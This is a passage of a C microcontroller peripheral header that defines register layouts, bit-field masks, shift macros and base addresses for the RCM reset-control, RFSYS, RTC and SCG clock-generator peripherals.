#define RCM_SRS_PIN_SHIFT (6U)
#define RCM_SRS_PIN(x) (((uint32_t)(((uint32_t)(x)) << RCM_SRS_PIN_SHIFT)) & RCM_SRS_PIN_MASK)
#define RCM_SRS_POR_MASK (0x80U)
#define RCM_SRS_POR_SHIFT (7U)
#define RCM_SRS_POR(x) (((uint32_t)(((uint32_t)(x)) << RCM_SRS_POR_SHIFT)) & RCM_SRS_POR_MASK)
#define RCM_SRS_LOCKUP_MASK (0x200U)
#define RCM_SRS_LOCKUP_SHIFT (9U)
#define RCM_SRS_LOCKUP(x) (((uint32_t)(((uint32_t)(x)) << RCM_SRS_LOCKUP_SHIFT)) & RCM_SRS_LOCKUP_MASK)
#define RCM_SRS_SW_MASK (0x400U)
#define RCM_SRS_SW_SHIFT (10U)
#define RCM_SRS_SW(x) (((uint32_t)(((uint32_t)(x)) << RCM_SRS_SW_SHIFT)) & RCM_SRS_SW_MASK)
#define RCM_SRS_MDM_AP_MASK (0x800U)
#define RCM_SRS_MDM_AP_SHIFT (11U)
#define RCM_SRS_MDM_AP(x) (((uint32_t)(((uint32_t)(x)) << RCM_SRS_MDM_AP_SHIFT)) & RCM_SRS_MDM_AP_MASK)
#define RCM_SRS_SACKERR_MASK (0x2000U)
#define RCM_SRS_SACKERR_SHIFT (13U)
#define RCM_SRS_SACKERR(x) (((uint32_t)(((uint32_t)(x)) << RCM_SRS_SACKERR_SHIFT)) & RCM_SRS_SACKERR_MASK)
#define RCM_SRS_CORE1_MASK (0x10000U)
#define RCM_SRS_CORE1_SHIFT (16U)
#define RCM_SRS_CORE1(x) (((uint32_t)(((uint32_t)(x)) << RCM_SRS_CORE1_SHIFT)) & RCM_SRS_CORE1_MASK)
/*! @name RPC - Reset Pin Control register */
#define RCM_RPC_RSTFLTSRW_MASK (0x3U)
#define RCM_RPC_RSTFLTSRW_SHIFT (0U)
#define RCM_RPC_RSTFLTSRW(x) (((uint32_t)(((uint32_t)(x)) << RCM_RPC_RSTFLTSRW_SHIFT)) & RCM_RPC_RSTFLTSRW_MASK)
#define RCM_RPC_RSTFLTSS_MASK (0x4U)
#define RCM_RPC_RSTFLTSS_SHIFT (2U)
#define RCM_RPC_RSTFLTSS(x) (((uint32_t)(((uint32_t)(x)) << RCM_RPC_RSTFLTSS_SHIFT)) & RCM_RPC_RSTFLTSS_MASK)
#define RCM_RPC_RSTFLTSEL_MASK (0x1F00U)
#define RCM_RPC_RSTFLTSEL_SHIFT (8U)
#define RCM_RPC_RSTFLTSEL(x) (((uint32_t)(((uint32_t)(x)) << RCM_RPC_RSTFLTSEL_SHIFT)) & RCM_RPC_RSTFLTSEL_MASK)
/*! @name MR - Mode Register */
#define RCM_MR_BOOTROM_MASK (0x6U)
#define RCM_MR_BOOTROM_SHIFT (1U)
#define RCM_MR_BOOTROM(x) (((uint32_t)(((uint32_t)(x)) << RCM_MR_BOOTROM_SHIFT)) & RCM_MR_BOOTROM_MASK)
/*! @name FM - Force Mode Register */
#define RCM_FM_FORCEROM_MASK (0x6U)
#define RCM_FM_FORCEROM_SHIFT (1U)
#define RCM_FM_FORCEROM(x) (((uint32_t)(((uint32_t)(x)) << RCM_FM_FORCEROM_SHIFT)) & RCM_FM_FORCEROM_MASK)
/*! @name SSRS - Sticky System Reset Status Register */
#define RCM_SSRS_SWAKEUP_MASK (0x1U)
#define RCM_SSRS_SWAKEUP_SHIFT (0U)
#define RCM_SSRS_SWAKEUP(x) (((uint32_t)(((uint32_t)(x)) << RCM_SSRS_SWAKEUP_SHIFT)) & RCM_SSRS_SWAKEUP_MASK)
#define RCM_SSRS_SLVD_MASK (0x2U)
#define RCM_SSRS_SLVD_SHIFT (1U)
#define RCM_SSRS_SLVD(x) (((uint32_t)(((uint32_t)(x)) << RCM_SSRS_SLVD_SHIFT)) & RCM_SSRS_SLVD_MASK)
#define RCM_SSRS_SLOC_MASK (0x4U)
#define RCM_SSRS_SLOC_SHIFT (2U)
#define RCM_SSRS_SLOC(x) (((uint32_t)(((uint32_t)(x)) << RCM_SSRS_SLOC_SHIFT)) & RCM_SSRS_SLOC_MASK)
#define RCM_SSRS_SLOL_MASK (0x8U)
#define RCM_SSRS_SLOL_SHIFT (3U)
#define RCM_SSRS_SLOL(x) (((uint32_t)(((uint32_t)(x)) << RCM_SSRS_SLOL_SHIFT)) & RCM_SSRS_SLOL_MASK)
#define RCM_SSRS_SWDOG_MASK (0x20U)
#define RCM_SSRS_SWDOG_SHIFT (5U)
#define RCM_SSRS_SWDOG(x) (((uint32_t)(((uint32_t)(x)) << RCM_SSRS_SWDOG_SHIFT)) & RCM_SSRS_SWDOG_MASK)
#define RCM_SSRS_SPIN_MASK (0x40U)
#define RCM_SSRS_SPIN_SHIFT (6U)
#define RCM_SSRS_SPIN(x) (((uint32_t)(((uint32_t)(x)) << RCM_SSRS_SPIN_SHIFT)) & RCM_SSRS_SPIN_MASK)
#define RCM_SSRS_SPOR_MASK (0x80U)
#define RCM_SSRS_SPOR_SHIFT (7U)
#define RCM_SSRS_SPOR(x) (((uint32_t)(((uint32_t)(x)) << RCM_SSRS_SPOR_SHIFT)) & RCM_SSRS_SPOR_MASK)
#define RCM_SSRS_SLOCKUP_MASK (0x200U)
#define RCM_SSRS_SLOCKUP_SHIFT (9U)
#define RCM_SSRS_SLOCKUP(x) (((uint32_t)(((uint32_t)(x)) << RCM_SSRS_SLOCKUP_SHIFT)) & RCM_SSRS_SLOCKUP_MASK)
#define RCM_SSRS_SSW_MASK (0x400U)
#define RCM_SSRS_SSW_SHIFT (10U)
#define RCM_SSRS_SSW(x) (((uint32_t)(((uint32_t)(x)) << RCM_SSRS_SSW_SHIFT)) & RCM_SSRS_SSW_MASK)
#define RCM_SSRS_SMDM_AP_MASK (0x800U)
#define RCM_SSRS_SMDM_AP_SHIFT (11U)
#define RCM_SSRS_SMDM_AP(x) (((uint32_t)(((uint32_t)(x)) << RCM_SSRS_SMDM_AP_SHIFT)) & RCM_SSRS_SMDM_AP_MASK)
#define RCM_SSRS_SSACKERR_MASK (0x2000U)
#define RCM_SSRS_SSACKERR_SHIFT (13U)
#define RCM_SSRS_SSACKERR(x) (((uint32_t)(((uint32_t)(x)) << RCM_SSRS_SSACKERR_SHIFT)) & RCM_SSRS_SSACKERR_MASK)
#define RCM_SSRS_SCORE1_MASK (0x10000U)
#define RCM_SSRS_SCORE1_SHIFT (16U)
#define RCM_SSRS_SCORE1(x) (((uint32_t)(((uint32_t)(x)) << RCM_SSRS_SCORE1_SHIFT)) & RCM_SSRS_SCORE1_MASK)
/*! @name SRIE - System Reset Interrupt Enable Register */
#define RCM_SRIE_DELAY_MASK (0x3U)
#define RCM_SRIE_DELAY_SHIFT (0U)
#define RCM_SRIE_DELAY(x) (((uint32_t)(((uint32_t)(x)) << RCM_SRIE_DELAY_SHIFT)) & RCM_SRIE_DELAY_MASK)
#define RCM_SRIE_LOC_MASK (0x4U)
#define RCM_SRIE_LOC_SHIFT (2U)
#define RCM_SRIE_LOC(x) (((uint32_t)(((uint32_t)(x)) << RCM_SRIE_LOC_SHIFT)) & RCM_SRIE_LOC_MASK)
#define RCM_SRIE_LOL_MASK (0x8U)
#define RCM_SRIE_LOL_SHIFT (3U)
#define RCM_SRIE_LOL(x) (((uint32_t)(((uint32_t)(x)) << RCM_SRIE_LOL_SHIFT)) & RCM_SRIE_LOL_MASK)
#define RCM_SRIE_WDOG_MASK (0x20U)
#define RCM_SRIE_WDOG_SHIFT (5U)
#define RCM_SRIE_WDOG(x) (((uint32_t)(((uint32_t)(x)) << RCM_SRIE_WDOG_SHIFT)) & RCM_SRIE_WDOG_MASK)
#define RCM_SRIE_PIN_MASK (0x40U)
#define RCM_SRIE_PIN_SHIFT (6U)
#define RCM_SRIE_PIN(x) (((uint32_t)(((uint32_t)(x)) << RCM_SRIE_PIN_SHIFT)) & RCM_SRIE_PIN_MASK)
#define RCM_SRIE_GIE_MASK (0x80U)
#define RCM_SRIE_GIE_SHIFT (7U)
#define RCM_SRIE_GIE(x) (((uint32_t)(((uint32_t)(x)) << RCM_SRIE_GIE_SHIFT)) & RCM_SRIE_GIE_MASK)
#define RCM_SRIE_LOCKUP_MASK (0x200U)
#define RCM_SRIE_LOCKUP_SHIFT (9U)
#define RCM_SRIE_LOCKUP(x) (((uint32_t)(((uint32_t)(x)) << RCM_SRIE_LOCKUP_SHIFT)) & RCM_SRIE_LOCKUP_MASK)
#define RCM_SRIE_SW_MASK (0x400U)
#define RCM_SRIE_SW_SHIFT (10U)
#define RCM_SRIE_SW(x) (((uint32_t)(((uint32_t)(x)) << RCM_SRIE_SW_SHIFT)) & RCM_SRIE_SW_MASK)
#define RCM_SRIE_MDM_AP_MASK (0x800U)
#define RCM_SRIE_MDM_AP_SHIFT (11U)
#define RCM_SRIE_MDM_AP(x) (((uint32_t)(((uint32_t)(x)) << RCM_SRIE_MDM_AP_SHIFT)) & RCM_SRIE_MDM_AP_MASK)
#define RCM_SRIE_SACKERR_MASK (0x2000U)
#define RCM_SRIE_SACKERR_SHIFT (13U)
#define RCM_SRIE_SACKERR(x) (((uint32_t)(((uint32_t)(x)) << RCM_SRIE_SACKERR_SHIFT)) & RCM_SRIE_SACKERR_MASK)
#define RCM_SRIE_CORE1_MASK (0x10000U)
#define RCM_SRIE_CORE1_SHIFT (16U)
#define RCM_SRIE_CORE1(x) (((uint32_t)(((uint32_t)(x)) << RCM_SRIE_CORE1_SHIFT)) & RCM_SRIE_CORE1_MASK)
/*!
* @}
*/ /* end of group RCM_Register_Masks */
/* RCM - Peripheral instance base addresses */
/** Peripheral RCM base address */
#define RCM_BASE (0x4007F000u)
/** Peripheral RCM base pointer */
#define RCM ((RCM_Type *)RCM_BASE)
/** Array initializer of RCM peripheral base addresses */
#define RCM_BASE_ADDRS { RCM_BASE }
/** Array initializer of RCM peripheral base pointers */
#define RCM_BASE_PTRS { RCM }
/** Interrupt vectors for the RCM peripheral type */
#define RCM_IRQS { RCM_IRQn }
/*!
* @}
*/ /* end of group RCM_Peripheral_Access_Layer */
/* ----------------------------------------------------------------------------
-- RFSYS Peripheral Access Layer
---------------------------------------------------------------------------- */
/*!
* @addtogroup RFSYS_Peripheral_Access_Layer RFSYS Peripheral Access Layer
* @{
*/
/** RFSYS - Register Layout Typedef */
typedef struct {
__IO uint32_t REG[8]; /**< Register file register, array offset: 0x0, array step: 0x4 */
} RFSYS_Type;
/* ----------------------------------------------------------------------------
-- RFSYS Register Masks
---------------------------------------------------------------------------- */
/*!
* @addtogroup RFSYS_Register_Masks RFSYS Register Masks
* @{
*/
/*! @name REG - Register file register */
#define RFSYS_REG_LL_MASK (0xFFU)
#define RFSYS_REG_LL_SHIFT (0U)
#define RFSYS_REG_LL(x) (((uint32_t)(((uint32_t)(x)) << RFSYS_REG_LL_SHIFT)) & RFSYS_REG_LL_MASK)
#define RFSYS_REG_LH_MASK (0xFF00U)
#define RFSYS_REG_LH_SHIFT (8U)
#define RFSYS_REG_LH(x) (((uint32_t)(((uint32_t)(x)) << RFSYS_REG_LH_SHIFT)) & RFSYS_REG_LH_MASK)
#define RFSYS_REG_HL_MASK (0xFF0000U)
#define RFSYS_REG_HL_SHIFT (16U)
#define RFSYS_REG_HL(x) (((uint32_t)(((uint32_t)(x)) << RFSYS_REG_HL_SHIFT)) & RFSYS_REG_HL_MASK)
#define RFSYS_REG_HH_MASK (0xFF000000U)
#define RFSYS_REG_HH_SHIFT (24U)
#define RFSYS_REG_HH(x) (((uint32_t)(((uint32_t)(x)) << RFSYS_REG_HH_SHIFT)) & RFSYS_REG_HH_MASK)
/* The count of RFSYS_REG */
#define RFSYS_REG_COUNT (8U)
/*!
* @}
*/ /* end of group RFSYS_Register_Masks */
/* RFSYS - Peripheral instance base addresses */
/** Peripheral RFSYS base address */
#define RFSYS_BASE (0x4007C000u)
/** Peripheral RFSYS base pointer */
#define RFSYS ((RFSYS_Type *)RFSYS_BASE)
/** Array initializer of RFSYS peripheral base addresses */
#define RFSYS_BASE_ADDRS { RFSYS_BASE }
/** Array initializer of RFSYS peripheral base pointers */
#define RFSYS_BASE_PTRS { RFSYS }
/*!
* @}
*/ /* end of group RFSYS_Peripheral_Access_Layer */
/* ----------------------------------------------------------------------------
-- RTC Peripheral Access Layer
---------------------------------------------------------------------------- */
/*!
* @addtogroup RTC_Peripheral_Access_Layer RTC Peripheral Access Layer
* @{
*/
/** RTC - Register Layout Typedef */
typedef struct {
__IO uint32_t TSR; /**< RTC Time Seconds Register, offset: 0x0 */
__IO uint32_t TPR; /**< RTC Time Prescaler Register, offset: 0x4 */
__IO uint32_t TAR; /**< RTC Time Alarm Register, offset: 0x8 */
__IO uint32_t TCR; /**< RTC Time Compensation Register, offset: 0xC */
__IO uint32_t CR; /**< RTC Control Register, offset: 0x10 */
__IO uint32_t SR; /**< RTC Status Register, offset: 0x14 */
__IO uint32_t LR; /**< RTC Lock Register, offset: 0x18 */
__IO uint32_t IER; /**< RTC Interrupt Enable Register, offset: 0x1C */
} RTC_Type;
/* ----------------------------------------------------------------------------
-- RTC Register Masks
---------------------------------------------------------------------------- */
/*!
* @addtogroup RTC_Register_Masks RTC Register Masks
* @{
*/
/*! @name TSR - RTC Time Seconds Register */
#define RTC_TSR_TSR_MASK (0xFFFFFFFFU)
#define RTC_TSR_TSR_SHIFT (0U)
#define RTC_TSR_TSR(x) (((uint32_t)(((uint32_t)(x)) << RTC_TSR_TSR_SHIFT)) & RTC_TSR_TSR_MASK)
/*! @name TPR - RTC Time Prescaler Register */
#define RTC_TPR_TPR_MASK (0xFFFFU)
#define RTC_TPR_TPR_SHIFT (0U)
#define RTC_TPR_TPR(x) (((uint32_t)(((uint32_t)(x)) << RTC_TPR_TPR_SHIFT)) & RTC_TPR_TPR_MASK)
/*! @name TAR - RTC Time Alarm Register */
#define RTC_TAR_TAR_MASK (0xFFFFFFFFU)
#define RTC_TAR_TAR_SHIFT (0U)
#define RTC_TAR_TAR(x) (((uint32_t)(((uint32_t)(x)) << RTC_TAR_TAR_SHIFT)) & RTC_TAR_TAR_MASK)
/*! @name TCR - RTC Time Compensation Register */
#define RTC_TCR_TCR_MASK (0xFFU)
#define RTC_TCR_TCR_SHIFT (0U)
#define RTC_TCR_TCR(x) (((uint32_t)(((uint32_t)(x)) << RTC_TCR_TCR_SHIFT)) & RTC_TCR_TCR_MASK)
#define RTC_TCR_CIR_MASK (0xFF00U)
#define RTC_TCR_CIR_SHIFT (8U)
#define RTC_TCR_CIR(x) (((uint32_t)(((uint32_t)(x)) << RTC_TCR_CIR_SHIFT)) & RTC_TCR_CIR_MASK)
#define RTC_TCR_TCV_MASK (0xFF0000U)
#define RTC_TCR_TCV_SHIFT (16U)
#define RTC_TCR_TCV(x) (((uint32_t)(((uint32_t)(x)) << RTC_TCR_TCV_SHIFT)) & RTC_TCR_TCV_MASK)
#define RTC_TCR_CIC_MASK (0xFF000000U)
#define RTC_TCR_CIC_SHIFT (24U)
#define RTC_TCR_CIC(x) (((uint32_t)(((uint32_t)(x)) << RTC_TCR_CIC_SHIFT)) & RTC_TCR_CIC_MASK)
/*! @name CR - RTC Control Register */
#define RTC_CR_SWR_MASK (0x1U)
#define RTC_CR_SWR_SHIFT (0U)
#define RTC_CR_SWR(x) (((uint32_t)(((uint32_t)(x)) << RTC_CR_SWR_SHIFT)) & RTC_CR_SWR_MASK)
#define RTC_CR_WPE_MASK (0x2U)
#define RTC_CR_WPE_SHIFT (1U)
#define RTC_CR_WPE(x) (((uint32_t)(((uint32_t)(x)) << RTC_CR_WPE_SHIFT)) & RTC_CR_WPE_MASK)
#define RTC_CR_SUP_MASK (0x4U)
#define RTC_CR_SUP_SHIFT (2U)
#define RTC_CR_SUP(x) (((uint32_t)(((uint32_t)(x)) << RTC_CR_SUP_SHIFT)) & RTC_CR_SUP_MASK)
#define RTC_CR_UM_MASK (0x8U)
#define RTC_CR_UM_SHIFT (3U)
#define RTC_CR_UM(x) (((uint32_t)(((uint32_t)(x)) << RTC_CR_UM_SHIFT)) & RTC_CR_UM_MASK)
#define RTC_CR_WPS_MASK (0x10U)
#define RTC_CR_WPS_SHIFT (4U)
#define RTC_CR_WPS(x) (((uint32_t)(((uint32_t)(x)) << RTC_CR_WPS_SHIFT)) & RTC_CR_WPS_MASK)
#define RTC_CR_CPS_MASK (0x20U)
#define RTC_CR_CPS_SHIFT (5U)
#define RTC_CR_CPS(x) (((uint32_t)(((uint32_t)(x)) << RTC_CR_CPS_SHIFT)) & RTC_CR_CPS_MASK)
#define RTC_CR_LPOS_MASK (0x80U)
#define RTC_CR_LPOS_SHIFT (7U)
#define RTC_CR_LPOS(x) (((uint32_t)(((uint32_t)(x)) << RTC_CR_LPOS_SHIFT)) & RTC_CR_LPOS_MASK)
#define RTC_CR_OSCE_MASK (0x100U)
#define RTC_CR_OSCE_SHIFT (8U)
#define RTC_CR_OSCE(x) (((uint32_t)(((uint32_t)(x)) << RTC_CR_OSCE_SHIFT)) & RTC_CR_OSCE_MASK)
#define RTC_CR_CLKO_MASK (0x200U)
#define RTC_CR_CLKO_SHIFT (9U)
#define RTC_CR_CLKO(x) (((uint32_t)(((uint32_t)(x)) << RTC_CR_CLKO_SHIFT)) & RTC_CR_CLKO_MASK)
#define RTC_CR_SC16P_MASK (0x400U)
#define RTC_CR_SC16P_SHIFT (10U)
#define RTC_CR_SC16P(x) (((uint32_t)(((uint32_t)(x)) << RTC_CR_SC16P_SHIFT)) & RTC_CR_SC16P_MASK)
#define RTC_CR_SC8P_MASK (0x800U)
#define RTC_CR_SC8P_SHIFT (11U)
#define RTC_CR_SC8P(x) (((uint32_t)(((uint32_t)(x)) << RTC_CR_SC8P_SHIFT)) & RTC_CR_SC8P_MASK)
#define RTC_CR_SC4P_MASK (0x1000U)
#define RTC_CR_SC4P_SHIFT (12U)
#define RTC_CR_SC4P(x) (((uint32_t)(((uint32_t)(x)) << RTC_CR_SC4P_SHIFT)) & RTC_CR_SC4P_MASK)
#define RTC_CR_SC2P_MASK (0x2000U)
#define RTC_CR_SC2P_SHIFT (13U)
#define RTC_CR_SC2P(x) (((uint32_t)(((uint32_t)(x)) << RTC_CR_SC2P_SHIFT)) & RTC_CR_SC2P_MASK)
#define RTC_CR_CPE_MASK (0x3000000U)
#define RTC_CR_CPE_SHIFT (24U)
#define RTC_CR_CPE(x) (((uint32_t)(((uint32_t)(x)) << RTC_CR_CPE_SHIFT)) & RTC_CR_CPE_MASK)
/*! @name SR - RTC Status Register */
#define RTC_SR_TIF_MASK (0x1U)
#define RTC_SR_TIF_SHIFT (0U)
#define RTC_SR_TIF(x) (((uint32_t)(((uint32_t)(x)) << RTC_SR_TIF_SHIFT)) & RTC_SR_TIF_MASK)
#define RTC_SR_TOF_MASK (0x2U)
#define RTC_SR_TOF_SHIFT (1U)
#define RTC_SR_TOF(x) (((uint32_t)(((uint32_t)(x)) << RTC_SR_TOF_SHIFT)) & RTC_SR_TOF_MASK)
#define RTC_SR_TAF_MASK (0x4U)
#define RTC_SR_TAF_SHIFT (2U)
#define RTC_SR_TAF(x) (((uint32_t)(((uint32_t)(x)) << RTC_SR_TAF_SHIFT)) & RTC_SR_TAF_MASK)
#define RTC_SR_TCE_MASK (0x10U)
#define RTC_SR_TCE_SHIFT (4U)
#define RTC_SR_TCE(x) (((uint32_t)(((uint32_t)(x)) << RTC_SR_TCE_SHIFT)) & RTC_SR_TCE_MASK)
/*! @name LR - RTC Lock Register */
#define RTC_LR_TCL_MASK (0x8U)
#define RTC_LR_TCL_SHIFT (3U)
#define RTC_LR_TCL(x) (((uint32_t)(((uint32_t)(x)) << RTC_LR_TCL_SHIFT)) & RTC_LR_TCL_MASK)
#define RTC_LR_CRL_MASK (0x10U)
#define RTC_LR_CRL_SHIFT (4U)
#define RTC_LR_CRL(x) (((uint32_t)(((uint32_t)(x)) << RTC_LR_CRL_SHIFT)) & RTC_LR_CRL_MASK)
#define RTC_LR_SRL_MASK (0x20U)
#define RTC_LR_SRL_SHIFT (5U)
#define RTC_LR_SRL(x) (((uint32_t)(((uint32_t)(x)) << RTC_LR_SRL_SHIFT)) & RTC_LR_SRL_MASK)
#define RTC_LR_LRL_MASK (0x40U)
#define RTC_LR_LRL_SHIFT (6U)
#define RTC_LR_LRL(x) (((uint32_t)(((uint32_t)(x)) << RTC_LR_LRL_SHIFT)) & RTC_LR_LRL_MASK)
/*! @name IER - RTC Interrupt Enable Register */
#define RTC_IER_TIIE_MASK (0x1U)
#define RTC_IER_TIIE_SHIFT (0U)
#define RTC_IER_TIIE(x) (((uint32_t)(((uint32_t)(x)) << RTC_IER_TIIE_SHIFT)) & RTC_IER_TIIE_MASK)
#define RTC_IER_TOIE_MASK (0x2U)
#define RTC_IER_TOIE_SHIFT (1U)
#define RTC_IER_TOIE(x) (((uint32_t)(((uint32_t)(x)) << RTC_IER_TOIE_SHIFT)) & RTC_IER_TOIE_MASK)
#define RTC_IER_TAIE_MASK (0x4U)
#define RTC_IER_TAIE_SHIFT (2U)
#define RTC_IER_TAIE(x) (((uint32_t)(((uint32_t)(x)) << RTC_IER_TAIE_SHIFT)) & RTC_IER_TAIE_MASK)
#define RTC_IER_TSIE_MASK (0x10U)
#define RTC_IER_TSIE_SHIFT (4U)
#define RTC_IER_TSIE(x) (((uint32_t)(((uint32_t)(x)) << RTC_IER_TSIE_SHIFT)) & RTC_IER_TSIE_MASK)
#define RTC_IER_WPON_MASK (0x80U)
#define RTC_IER_WPON_SHIFT (7U)
#define RTC_IER_WPON(x) (((uint32_t)(((uint32_t)(x)) << RTC_IER_WPON_SHIFT)) & RTC_IER_WPON_MASK)
#define RTC_IER_TSIC_MASK (0x70000U)
#define RTC_IER_TSIC_SHIFT (16U)
#define RTC_IER_TSIC(x) (((uint32_t)(((uint32_t)(x)) << RTC_IER_TSIC_SHIFT)) & RTC_IER_TSIC_MASK)
/*!
* @}
*/ /* end of group RTC_Register_Masks */
/* RTC - Peripheral instance base addresses */
/** Peripheral RTC base address */
#define RTC_BASE (0x40038000u)
/** Peripheral RTC base pointer */
#define RTC ((RTC_Type *)RTC_BASE)
/** Array initializer of RTC peripheral base addresses */
#define RTC_BASE_ADDRS { RTC_BASE }
/** Array initializer of RTC peripheral base pointers */
#define RTC_BASE_PTRS { RTC }
/** Interrupt vectors for the RTC peripheral type */
#define RTC_IRQS { RTC_IRQn }
#define RTC_SECONDS_IRQS { RTC_Seconds_IRQn }
/*!
* @}
*/ /* end of group RTC_Peripheral_Access_Layer */
/* ----------------------------------------------------------------------------
-- SCG Peripheral Access Layer
---------------------------------------------------------------------------- */
/*!
* @addtogroup SCG_Peripheral_Access_Layer SCG Peripheral Access Layer
* @{
*/
/** SCG - Register Layout Typedef */
typedef struct {
__I uint32_t VERID; /**< Version ID Register, offset: 0x0 */
__I uint32_t PARAM; /**< Parameter Register, offset: 0x4 */
uint8_t RESERVED_0[8];
__I uint32_t CSR; /**< Clock Status Register, offset: 0x10 */
__IO uint32_t RCCR; /**< Run Clock Control Register, offset: 0x14 */
__IO uint32_t VCCR; /**< VLPR Clock Control Register, offset: 0x18 */
__IO uint32_t HCCR; /**< HSRUN Clock Control Register, offset: 0x1C */
__IO uint32_t CLKOUTCNFG; /**< SCG CLKOUT Configuration Register, offset: 0x20 */
uint8_t RESERVED_1[220];
__IO uint32_t SOSCCSR; /**< System OSC Control Status Register, offset: 0x100 */
__IO uint32_t SOSCDIV; /**< System OSC Divide Register, offset: 0x104 */
__IO uint32_t SOSCCFG; /**< System Oscillator Configuration Register, offset: 0x108 */
uint8_t RESERVED_2[244];
__IO uint32_t SIRCCSR; /**< Slow IRC Control Status Register, offset: 0x200 */
__IO uint32_t SIRCDIV; /**< Slow IRC Divide Register, offset: 0x204 */
__IO uint32_t SIRCCFG; /**< Slow IRC Configuration Register, offset: 0x208 */
uint8_t RESERVED_3[244];
__IO uint32_t FIRCCSR; /**< Fast IRC Control Status Register, offset: 0x300 */
__IO uint32_t FIRCDIV; /**< Fast IRC Divide Register, offset: 0x304 */
__IO uint32_t FIRCCFG; /**< Fast IRC Configuration Register, offset: 0x308 */
__IO uint32_t FIRCTCFG; /**< Fast IRC Trim Configuration Register, offset: 0x30C */
uint8_t RESERVED_4[8];
__IO uint32_t FIRCSTAT; /**< Fast IRC Status Register, offset: 0x318 */
uint8_t RESERVED_5[740];
__IO uint32_t SPLLCSR; /**< System PLL Control Status Register, offset: 0x600 */
__IO uint32_t SPLLDIV; /**< System PLL Divide Register, offset: 0x604 */
__IO uint32_t SPLLCFG; /**< System PLL Configuration Register, offset: 0x608 */
} SCG_Type;
/* ----------------------------------------------------------------------------
-- SCG Register Masks
---------------------------------------------------------------------------- */
/*!
* @addtogroup SCG_Register_Masks SCG Register Masks
* @{
*/
/*! @name VERID - Version ID Register */
#define SCG_VERID_VERSION_MASK (0xFFFFFFFFU)
#define SCG_VERID_VERSION_SHIFT (0U)
#define SCG_VERID_VERSION(x) (((uint32_t)(((uint32_t)(x)) << SCG_VERID_VERSION_SHIFT)) & SCG_VERID_VERSION_MASK)
/*! @name PARAM - Parameter Register */
#define SCG_PARAM_CLKPRES_MASK (0xFFU)
#define SCG_PARAM_CLKPRES_SHIFT (0U)
#define SCG_PARAM_CLKPRES(x) (((uint32_t)(((uint32_t)(x)) << SCG_PARAM_CLKPRES_SHIFT)) & SCG_PARAM_CLKPRES_MASK)
#define SCG_PARAM_DIVPRES_MASK (0xF8000000U)
#define SCG_PARAM_DIVPRES_SHIFT (27U)
#define SCG_PARAM_DIVPRES(x) (((uint32_t)(((uint32_t)(x)) << SCG_PARAM_DIVPRES_SHIFT)) & SCG_PARAM_DIVPRES_MASK)
/*! @name CSR - Clock Status Register */
#define SCG_CSR_DIVSLOW_MASK (0xFU)
#define SCG_CSR_DIVSLOW_SHIFT (0U)
#define SCG_CSR_DIVSLOW(x) (((uint32_t)(((uint32_t)(x)) << SCG_CSR_DIVSLOW_SHIFT)) & SCG_CSR_DIVSLOW_MASK)
#define SCG_CSR_DIVCORE_MASK (0xF0000U)
#define SCG_CSR_DIVCORE_SHIFT (16U)
#define SCG_CSR_DIVCORE(x) (((uint32_t)(((uint32_t)(x)) << SCG_CSR_DIVCORE_SHIFT)) & SCG_CSR_DIVCORE_MASK)
#define SCG_CSR_SCS_MASK (0xF000000U)
#define SCG_CSR_SCS_SHIFT (24U)
#define SCG_CSR_SCS(x) (((uint32_t)(((uint32_t)(x)) << SCG_CSR_SCS_SHIFT)) & SCG_CSR_SCS_MASK)
/*! @name RCCR - Run Clock Control Register */
#define SCG_RCCR_DIVSLOW_MASK (0xFU)
#define SCG_RCCR_DIVSLOW_SHIFT (0U)
#define SCG_RCCR_DIVSLOW(x) (((uint32_t)(((uint32_t)(x)) << SCG_RCCR_DIVSLOW_SHIFT)) & SCG_RCCR_DIVSLOW_MASK)
#define SCG_RCCR_DIVCORE_MASK (0xF0000U)
#define SCG_RCCR_DIVCORE_SHIFT (16U)
#define SCG_RCCR_DIVCORE(x) (((uint32_t)(((uint32_t)(x)) << SCG_RCCR_DIVCORE_SHIFT)) & SCG_RCCR_DIVCORE_MASK)
#define SCG_RCCR_SCS_MASK (0xF000000U)
#define SCG_RCCR_SCS_SHIFT (24U)
#define SCG_RCCR_SCS(x) (((uint32_t)(((uint32_t)(x)) << SCG_RCCR_SCS_SHIFT)) & SCG_RCCR_SCS_MASK)
/*! @name VCCR - VLPR Clock Control Register */
#define SCG_VCCR_DIVSLOW_MASK (0xFU)
#define SCG_VCCR_DIVSLOW_SHIFT (0U)
#define SCG_VCCR_DIVSLOW(x) (((uint32_t)(((uint32_t)(x)) << SCG_VCCR_DIVSLOW_SHIFT)) & SCG_VCCR_DIVSLOW_MASK)
#define SCG_VCCR_DIVCORE_MASK (0xF0000U)
#define SCG_VCCR_DIVCORE_SHIFT (16U)
#define SCG_VCCR_DIVCORE(x) (((uint32_t)(((uint32_t)(x)) << SCG_VCCR_DIVCORE_SHIFT)) & SCG_VCCR_DIVCORE_MASK)
#define SCG_VCCR_SCS_MASK (0xF000000U)
#define SCG_VCCR_SCS_SHIFT (24U)
#define SCG_VCCR_SCS(x) (((uint32_t)(((uint32_t)(x)) << SCG_VCCR_SCS_SHIFT)) & SCG_VCCR_SCS_MASK)
/*! @name HCCR - HSRUN Clock Control Register */
#define SCG_HCCR_DIVSLOW_MASK (0xFU)
#define SCG_HCCR_DIVSLOW_SHIFT (0U)
#define SCG_HCCR_DIVSLOW(x) (((uint32_t)(((uint32_t)(x)) << SCG_HCCR_DIVSLOW_SHIFT)) & SCG_HCCR_DIVSLOW_MASK)
#define SCG_HCCR_DIVCORE_MASK (0xF0000U)
#define SCG_HCCR_DIVCORE_SHIFT (16U)
#define SCG_HCCR_DIVCORE(x) (((uint32_t)(((uint32_t)(x)) << SCG_HCCR_DIVCORE_SHIFT)) & SCG_HCCR_DIVCORE_MASK)
#define SCG_HCCR_SCS_MASK (0xF000000U)
#define SCG_HCCR_SCS_SHIFT (24U)
#define SCG_HCCR_SCS(x) (((uint32_t)(((uint32_t)(x)) << SCG_HCCR_SCS_SHIFT)) & SCG_HCCR_SCS_MASK)
/*! @name CLKOUTCNFG - SCG CLKOUT Configuration Register */
#define SCG_CLKOUTCNFG_CLKOUTSEL_MASK (0xF000000U)
#define SCG_CLKOUTCNFG_CLKOUTSEL_SHIFT (24U)
#define SCG_CLKOUTCNFG_CLKOUTSEL(x) (((uint32_t)(((uint32_t)(x)) << SCG_CLKOUTCNFG_CLKOUTSEL_SHIFT)) & SCG_CLKOUTCNFG_CLKOUTSEL_MASK)
/*! @name SOSCCSR - System OSC Control Status Register */
#define SCG_SOSCCSR_SOSCEN_MASK (0x1U)
#define SCG_SOSCCSR_SOSCEN_SHIFT (0U)
